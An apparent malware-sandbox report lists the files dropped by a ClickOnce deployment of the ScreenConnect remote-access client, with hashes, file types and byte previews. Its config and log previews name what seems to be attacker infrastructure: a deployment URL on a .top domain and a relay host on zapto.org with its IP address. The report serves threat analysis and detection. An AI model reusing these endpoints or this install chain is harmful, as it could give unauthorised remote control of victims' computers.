Preview:	...........lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP)...s^.J.....E.....(....jF.C...1P)...H..../..72J..I.J.a.K8c._.ks`.k.`.kK..m.M6p............b...P...........'...!...............K...............w.......P.......1......."A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.1.6.....$A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.2.5.6....."A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.3.2....."A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.4.8.....,A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.B.l.a.n.k.1.6.;...(A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.M.a.c.2.2.....0A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.O.p.a.q.u.e.1.9.2.8...,A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.T.i.t.l.e.1.6.....6B.l.a.n.k.M.o.n.i.t.o.r.B.a.c.k.g.r.o.u.n.d.C.o.l.o.r.4...6B.l.a.n.k.M.o.n.i.t.o.r.B.a.c.k.g.r.o.u.n.d.I.m.a.g.e.:...DB.l.a.n.k.M.o.n.i.t.o.r.B.a.c.k.g.r.o.u.n.d.I.m.a.g.e.V.i.s.i.b.l.e.xb..B.l.a.n.k.M.o.n.i.t.o.r.T.e.x.t.C.o.l.o.r..b..D.a.r.k.T.h.e.m.e.B.a.r.B.a.s.e.C.o.l.o.r..b..<D.a.r.k.T.h.

C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\app.config

Download File

Process:	C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1970
Entropy (8bit):	4.690426481732819
Encrypted:	false
SSDEEP:	48:OhMOdH55AfdH85AfdHfh/dH8h/dHmh/dHH/dHS/dH0/dHjdH6dH/dHAdHKdH3dHX:o3H52H82HzHAHyHVHeHMHZHUH1HyHkHN
MD5:	2744E91BB44E575AD8E147E06F8199E3
SHA1:	6795C6B8F0F2DC6D8BD39F9CF971BAB81556B290
SHA-256:	805E6E9447A4838D874D84E6B2CDFF93723641B06726D8EE58D51E8B651CD226
SHA-512:	586EDC48A71FA17CDF092A95D27FCE2341C023B8EA4D93FA2C86CA9B3B3E056FD69BD3644EDBAD1224297BCE9646419036EA442C93778985F839E14776F51498
Malicious:	false
Preview:	<?xml version="1.0"?>..<configuration>.. <configSections>.. <section name="ScreenConnect.ApplicationSettings" type="System.Configuration.ClientSettingsSection" />.. </configSections>.. <ScreenConnect.ApplicationSettings>.. <setting name="ShowFeedbackSurveyForm" serializeAs="String">.. <value>false</value>.. </setting>.. <setting name="SupportShowUnderControlBanner" serializeAs="String">.. <value>false</value>.. </setting>.. <setting name="AccessShowUnderControlBanner" serializeAs="String">.. <value>false</value>.. </setting>.. <setting name="SupportHideWallpaperOnConnect" serializeAs="String">.. <value>false</value>.. </setting>.. <setting name="AccessHideWallpaperOnConnect" serializeAs="String">.. <value>false</value>.. </setting>.. <setting name="HideWallpaperOnConnect" serializeAs="String">.. <value>false</value>.. </setting>.. <setting name="SupportShowBalloonOnConnect" serializeAs="String">.. <value>fa

C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\kufv531d.newcfg

Download File

Process:	C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	562
Entropy (8bit):	5.039236886420035
Encrypted:	false
SSDEEP:	12:TMHdGGqq9yAas26K9YG6DLI4MWiNuGEAaORnYPENOnO/k/vXbAa3xT:2dL9hK6E46YPPvH
MD5:	74FAB4625FB05141FE3EB1BCD9C6D4D0
SHA1:	5647D1629FD1E11E058C738F3CC2850B84D939AC
SHA-256:	7AA8ECCCBEECC9CC1B1664933526A142B994B40519FC2725F215CFEA24D82C49
SHA-512:	72081FA1AB773F2E670D3F4C8FC3AB2DDE4C25B603037825FC165E7293E3C025FA84AE56076E768493A054A95AD1413BBD0504FE121F337C6076D69F9E2BD819
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <section name="ScreenConnect.ApplicationSettings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />.. </configSections>.. <ScreenConnect.ApplicationSettings>.. <setting name="HostToAddressMap" serializeAs="String">.. <value>popwee2.zapto.org=194.59.30.201-08%2f11%2f2024%2011%3a44%3a40</value>.. </setting>.. </ScreenConnect.ApplicationSettings>..</configuration>

C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\user.config (copy)

Download File

Process:	C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	562
Entropy (8bit):	5.039236886420035
Encrypted:	false
SSDEEP:	12:TMHdGGqq9yAas26K9YG6DLI4MWiNuGEAaORnYPENOnO/k/vXbAa3xT:2dL9hK6E46YPPvH
MD5:	74FAB4625FB05141FE3EB1BCD9C6D4D0
SHA1:	5647D1629FD1E11E058C738F3CC2850B84D939AC
SHA-256:	7AA8ECCCBEECC9CC1B1664933526A142B994B40519FC2725F215CFEA24D82C49
SHA-512:	72081FA1AB773F2E670D3F4C8FC3AB2DDE4C25B603037825FC165E7293E3C025FA84AE56076E768493A054A95AD1413BBD0504FE121F337C6076D69F9E2BD819
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <section name="ScreenConnect.ApplicationSettings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />.. </configSections>.. <ScreenConnect.ApplicationSettings>.. <setting name="HostToAddressMap" serializeAs="String">.. <value>popwee2.zapto.org=194.59.30.201-08%2f11%2f2024%2011%3a44%3a40</value>.. </setting>.. </ScreenConnect.ApplicationSettings>..</configuration>

C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..vice_4b14c015c87c1ad8_0018.0002_none_0564cf62aaf28471\ScreenConnect.ClientService.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	68096
Entropy (8bit):	6.068776675019683
Encrypted:	false
SSDEEP:	1536:tA0ZscQ5V6TsQqoSDKh6+39QFVIl1KJhb8gp:q0Zy3wUOQFVQKJp
MD5:	0402CF8AE8D04FCC3F695A7BB9548AA0
SHA1:	044227FA43B7654032524D6F530F5E9B608E5BE4
SHA-256:	C76F1F28C5289758B6BD01769C5EBFB519EE37D0FA8031A13BB37DE83D849E5E
SHA-512:	BE4CBC906EC3D189BEBD948D3D44FCF7617FFAE4CC3C6DC49BF4C0BD809A55CE5F8CD4580E409E5BCE7586262FBAF642085FA59FE55B60966DB48D81BA8C0D78
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0.T..........." ..0.............. ... ...@....... ..............................d.....@.................................e ..O....@.......................`..........8............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................. ......H........n..@...................<.........................................(....^.(...........%...}....:.(......}....:.(......}....:.(......}.....~,...%-.&~+.....i...s....%.,...(...+vs....%.}P.........s....(....*....0...........s....}.....s....}...........}.......(&.....}.....(....&.()..........s....o.....()...~-...%-.&~+.....j...s....%.-...o ....s!...}.....s"...}.....s#...}...... .... 0u.........s....s=...}....... ..6........s....s=...}.....('...($............o%........

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1373
Entropy (8bit):	5.369201792577388
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KaXE4qpAE4KKUNKKDE4KGKZI6KhPKIE4TKBGKoM:MxHKQ71qHGIs0HKEHmAHKKkKYHKGSI65
MD5:	1BF0A215F1599E3CEC10004DF6F37304
SHA1:	169E7E91AC3D25D07050284BB9A01CCC20159DE7
SHA-256:	D9D84A2280B6D61D60868F69899C549FA6E4536F83785BD81A62C485C3C40DB9
SHA-512:	68EE38EA384C8C5D9051C59A152367FA5E8F0B08EB48AA0CE16BCE2D2B31003A25CD72A4CF465E6B926155119DAB5775A57B6A6058B9E44C91BCED1ACCB086DB
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..2,"System.Deployment, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, Pu

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ScreenConnect.ClientService.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	847
Entropy (8bit):	5.345615485833535
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhPKIE4oKNzKoZAE4KzeR:MxHKlYHKh3oPtHo6hAHKzeR
MD5:	EEEC189088CC5F1F69CEE62A3BE59EA2
SHA1:	250F25CE24458FC0C581FDDF59FAA26D557844C5
SHA-256:	5345D03A7E6C9436497BA4120DE1F941800F2522A21DE70CEA6DB1633D356E11
SHA-512:	2E017FD29A505BCAC78C659DE10E0D869C42CE3B057840680B23961DBCB1F82B1CC7094C87CEEB8FA14826C4D8CFED88DC647422A4A3FA36C4AAFD6430DAEFE5
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\S0AMH0XA.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (625), with CRLF line terminators
Category:	modified
Size (bytes):	15036
Entropy (8bit):	3.8067322020953793
Encrypted:	false
SSDEEP:	192:84JqHzST41Uaa4JqHzSdd724JqHzSi+43LEv:8FqKUJFsR2FiAA
MD5:	69E0ECBD1DD4C0A6FDEABE7F213E7402
SHA1:	7A72788B4461039F28D750DBB9B5993E8D3E4A51
SHA-256:	D9F339DEFDE480286650E673FEFE904DA4D187696C2909E7A6FC8D6D380027EA
SHA-512:	6135474BF83F511E327834BF471A887158B8DCD9F593C183B62D366806BABD2EFAC608D326DF24FCA855CDE0A20F233550DE63BBD449672365355012DAA66E69
Malicious:	false
Preview:	..P.L.A.T.F.O.R.M. .V.E.R.S.I.O.N. .I.N.F.O.......W.i.n.d.o.w.s. .......:. .1.0...0...1.9.0.4.5...0. .(.W.i.n.3.2.N.T.).......C.o.m.m.o.n. .L.a.n.g.u.a.g.e. .R.u.n.t.i.m.e. ...:. .4...0...3.0.3.1.9...4.2.0.0.0.......S.y.s.t.e.m...D.e.p.l.o.y.m.e.n.t...d.l.l. .....:. .4...8...4.2.7.0...0. .b.u.i.l.t. .b.y.:. .N.E.T.4.8.R.E.L.1.L.A.S.T._.C.......c.l.r...d.l.l. .......:. .4...8...4.5.1.5...0. .b.u.i.l.t. .b.y.:. .N.E.T.4.8.R.E.L.1.L.A.S.T._.C.......d.f.d.l.l...d.l.l. .......:. .4...8...4.2.7.0...0. .b.u.i.l.t. .b.y.:. .N.E.T.4.8.R.E.L.1.L.A.S.T._.C.......d.f.s.h.i.m...d.l.l. .......:. .1.0...0...1.9.0.4.1...3.0.0.0.0. .(.W.i.n.B.u.i.l.d...1.6.0.1.0.1...0.8.0.0.).........S.O.U.R.C.E.S.......D.e.p.l.o.y.m.e.n.t. .u.r.l.......:. .h.t.t.p.s.:././.v.o.i.c.e.m.a.i.l.-.l.a.k.e.l.e.f.t...t.o.p./.B.i.n./.S.c.r.e.e.n.C.o.n.n.e.c.t...C.l.i.e.n.t...a.p.p.l.i.c.a.t.i.o.n.?.e.=.S.u.p.p.o.r.t.&.y.=.G.u.e.s.t.&.h.=.p.o.p.w.e.e.2...z.a.p.t.o...o.r.g.&.p.=.8.0.4.1.&.s.=.4.b.4.3.e.6.5.1.-.6.d.2.1.-.4.8.a.4.

C:\Users\user\AppData\Local\Temp\Deployment\J44KTPOG.934\OJZ48AB5.0QC.application

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (63847), with CRLF line terminators
Category:	dropped
Size (bytes):	117980
Entropy (8bit):	5.585720273564656
Encrypted:	false
SSDEEP:	3072:0aNIcT51/FXvMVNWfCXq9ymSm2o9HuzhJOvP:0FcfiVI8mt8vOvP
MD5:	4E152D84C20AB6330FF0CF47A9AF7C6D
SHA1:	018F32D833124056FCCFC200318542687D0E5565
SHA-256:	5668723C31F6726947DFEDA324B26D27F7E899647C22A4B1B2BEA935BA8A6B10
SHA-512:	2F3F6B397072B795C74C44F19012483E2785DDEE5A7F5D7E38C566EBC9A94AE084504061F697DB714B933B79824CBC6B08B7718536A19FA21D11AD8D0F8AFB79
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?><asmv1:assembly xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd" manifestVersion="1.0" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns="urn:schemas-microsoft-com:asm.v2" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xrml="urn:mpeg:mpeg21:2003:01-REL-R-NS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" xmlns:co.v1="urn:schemas-microsoft-com:clickonce.v1" xmlns:co.v2="urn:schemas-microsoft-com:clickonce.v2">.. <assemblyIdentity name="ScreenConnect.WindowsClient.application" version="24.2.10.8991" publicKeyToken="25b0fbb6ef7eb094" language="neutral" processorArchitecture="msil" xmlns="urn:schemas-microsoft-com:asm.v1" />.. <description asmv2:publisher="ScreenConnect Software" asmv2:product="ScreenConnect Client" xmlns="urn:schemas-microsoft-com:asm.v1" />.. <deployment install="false" trustURLParameters="tr

C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.Client.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	197120
Entropy (8bit):	6.58476728626163
Encrypted:	false
SSDEEP:	3072:CxGtNaldxI5KY9h12QMusqVFJRJcyzvJquFzDvJXYrR:BtNalc5fr12QbPJYaquFGr
MD5:	AE0E6EBA123683A59CAE340C894260E9
SHA1:	35A6F5EB87179EB7252131A881A8D5D4D9906013
SHA-256:	D37F58AAE6085C89EDD3420146EB86D5A108D27586CB4F24F9B580208C9B85F1
SHA-512:	1B6D4AD78C2643A861E46159D5463BA3EC5A23A2A3DE1575E22FDCCCD906EE4E9112D3478811AB391A130FA595306680B8608B245C1EECB11C5BCE098F601D6B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Z<..........." ..0.................. ... ....... .......................`............@.................................-...O.... .......................@..........8............................................ ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................a.......H...........(............^................................................(......(....^.(...........%...}....:.(......}....:.(......}....:.(......}......{....:.(......}.....0..A........(....s....%.~(...%-.&~'.....y...s....%.(...(...+(...+o"...o........0..s.......~#.....2. ....+...j..... ......... ...............%.r...p.%.r...p............%.&...($....5..............s%....=.....0...........~...%-.&~).....\|...s&...%....(...+..~+...%-.&~).....}...s(...%.+...(...+.r9..

C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.Client.dll.genman

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1041
Entropy (8bit):	5.147328807370198
Encrypted:	false
SSDEEP:	24:JdFYZ8h9onRigeP0AuWvSkcyMuscVSkTo:3FYZ8h9oYgI0AHHMrGTo
MD5:	2EA1AC1E39B8029AA1D1CEBB1079C706
SHA1:	5788C00093D358F8B3D8A98B0BEF5D0703031E3F
SHA-256:	8965728D1E348834E3F1E2502061DFB9DB41478ACB719FE474FA2969078866E7
SHA-512:	6B2A8AC25BBFE4D1EC7B9A9AF8FE7E6F92C39097BCFD7E9E9BE070E1A56718EBEFFFA5B24688754724EDBFFA8C96DCFCAA0C86CC849A203C1F5423E920E64566
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd">.. <assemblyIdentity name="ScreenConnect.Client" processorArchitecture="msil" publicKeyToken="4B14C015C87C1AD8" version="24.2.10.8991" />.. <file name="ScreenConnect.Client.dll" />.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="mscorlib" publicKeyToken="b77a5c561934e089" version="2.0.0.0" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="ScreenConnect.Core" publicKeyToken="4b14c015c87c1ad8" version="24.2.10.8991" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="System" publicKeyToken="b77a5c561934e089" version="2.0.0.0" />.. </depende

C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.ClientService.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	68096
Entropy (8bit):	6.068776675019683
Encrypted:	false
SSDEEP:	1536:tA0ZscQ5V6TsQqoSDKh6+39QFVIl1KJhb8gp:q0Zy3wUOQFVQKJp
MD5:	0402CF8AE8D04FCC3F695A7BB9548AA0
SHA1:	044227FA43B7654032524D6F530F5E9B608E5BE4
SHA-256:	C76F1F28C5289758B6BD01769C5EBFB519EE37D0FA8031A13BB37DE83D849E5E
SHA-512:	BE4CBC906EC3D189BEBD948D3D44FCF7617FFAE4CC3C6DC49BF4C0BD809A55CE5F8CD4580E409E5BCE7586262FBAF642085FA59FE55B60966DB48D81BA8C0D78
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0.T..........." ..0.............. ... ...@....... ..............................d.....@.................................e ..O....@.......................`..........8............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................. ......H........n..@...................<.........................................(....^.(...........%...}....:.(......}....:.(......}....:.(......}.....~,...%-.&~+.....i...s....%.,...(...+vs....%.}P.........s....(....*....0...........s....}.....s....}...........}.......(&.....}.....(....&.()..........s....o.....()...~-...%-.&~+.....j...s....%.-...o ....s!...}.....s"...}.....s#...}...... .... 0u.........s....s=...}....... ..6........s....s=...}.....('...($............o%........

C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.ClientService.dll.genman

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1636
Entropy (8bit):	5.084538887646832
Encrypted:	false
SSDEEP:	24:JdFYZ8h9onRzgeP0AuS+vSkcyMuscbEMuscuMuscVSkcf5bdTo:3FYZ8h9o9gI0AJCHMrTMr3MrGAXTo
MD5:	E11E5D85F8857144751D60CED3FAE6D7
SHA1:	7E0AE834C6B1DEA46B51C3101852AFEEA975D572
SHA-256:	ED9436CBA40C9D573E7063F2AC2C5162D40BFD7F7FEC4AF2BEED954560D268F9
SHA-512:	5A2CCF4F02E5ACC872A8B421C3611312A3608C25EC7B28A858034342404E320260457BD0C30EAEFEF6244C0E3305970AC7D9FC64ECE8F33F92F8AD02D4E5FAB0
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd">.. <assemblyIdentity name="ScreenConnect.ClientService" processorArchitecture="msil" publicKeyToken="4B14C015C87C1AD8" version="24.2.10.8991" />.. <file name="ScreenConnect.ClientService.dll" />.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="mscorlib" publicKeyToken="b77a5c561934e089" version="2.0.0.0" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="ScreenConnect.Core" publicKeyToken="4b14c015c87c1ad8" version="24.2.10.8991" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="ScreenConnect.Windows" publicKeyToken="4b14c015c87c1ad8" versio

C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.ClientService.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	95520
Entropy (8bit):	6.505346220942731
Encrypted:	false
SSDEEP:	1536:rg1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkgoT0HMM7CxM7:khbNDxZGXfdHrX7rAc6myJkgoT0HXN7
MD5:	361BCC2CB78C75DD6F583AF81834E447
SHA1:	1E2255EC312C519220A4700A079F02799CCD21D6
SHA-256:	512F9D035E6E88E231F082CC7F0FF661AFA9ACC221CF38F7BA3721FD996A05B7
SHA-512:	94BA891140E7DDB2EFA8183539490AC1B4E51E3D5BD0A4001692DD328040451E6F500A7FC3DA6C007D9A48DB3E6337B252CE8439E912D4FE7ADC762206D75F44
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(..qF.qF.qF....qF.....qF....qF.<.B.qF.<.E.qF.<.C.qF....qF.#..qF.qG..qF.2.O.qF.2...qF.2.D.qF.Rich.qF.........................PE..L.....wc...............!.............!............@.......................................@.................................p...x....`..X............L.. )...p......`!..p............................ ..@............................................text...:........................... ..`.rdata...f.......h..................@..@.data........@.......,..............@....rsrc...X....`.......6..............@..@.reloc.......p.......<..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.Core.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	548864
Entropy (8bit):	6.031251664661689
Encrypted:	false
SSDEEP:	6144:7+kYq9xDsxaUGEcANzZ1dkmn27qcO5noYKvKzDrzL9e7eOJsXziIYjVtkb+vbHq+:7SHtpnoVMlUbHbBaYLD
MD5:	16C4F1E36895A0FA2B4DA3852085547A
SHA1:	AB068A2F4FFD0509213455C79D311F169CD7CAB8
SHA-256:	4D4BF19AD99827F63DD74649D8F7244FC8E29330F4D80138C6B64660C8190A53
SHA-512:	AB4E67BE339BECA30CAB042C9EBEA599F106E1E0E2EE5A10641BEEF431A960A2E722A459534BDC7C82C54F523B21B4994C2E92AA421650EE4D7E0F6DB28B47BA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...z............." ..0..X...........r... ........... ...............................D....@..................................r..O....................................q..8............................................ ............... ..H............text....V... ...X.................. ..`.rsrc................Z..............@..@.reloc...............^..............@..B.................r......H........B......................xq........................................{:.....{;...V.(<.....}:.....};......0..A........u~.......4.,/(=....{:....{:...o>...,.(?....{;....{;...o@...... ... )UU.Z(=....{:...oA...X )UU.Z(?....{;...oB...X...0..b........r...p......%..{:......%q.........-.&.+.......oC....%..{;......%q.........-.&.+.......oC....(D.....{E.....{F...V.(<.....}E.....}F....0..A........u........4.,/(=....{E....{E...o>...,.(?....{F....{F...o@...... F.b# )UU.

C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.Core.dll.genman

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.1303806593325705
Encrypted:	false
SSDEEP:	24:JdFYZ8h9onR+geP0Au2vSkcVSkcMKzpdciSkTo:3FYZ8h9o4gI0A3GVETDTo
MD5:	2343364BAC7A96205EB525ADDC4BBFD1
SHA1:	9CBA0033ACB4AF447772CD826EC3A9C68D6A3CCC
SHA-256:	E9D6A0964FBFB38132A07425F82C6397052013E43FEEDCDC963A58B6FB9148E7
SHA-512:	AB4D01B599F89FE51B0FFE58FC82E9BA6D2B1225DBE8A3CE98F71DCE0405E2521FCA7047974BAFB6255E675CD9B3D8087D645B7AD33D2C6B47B02B7982076710
Malicious:	false
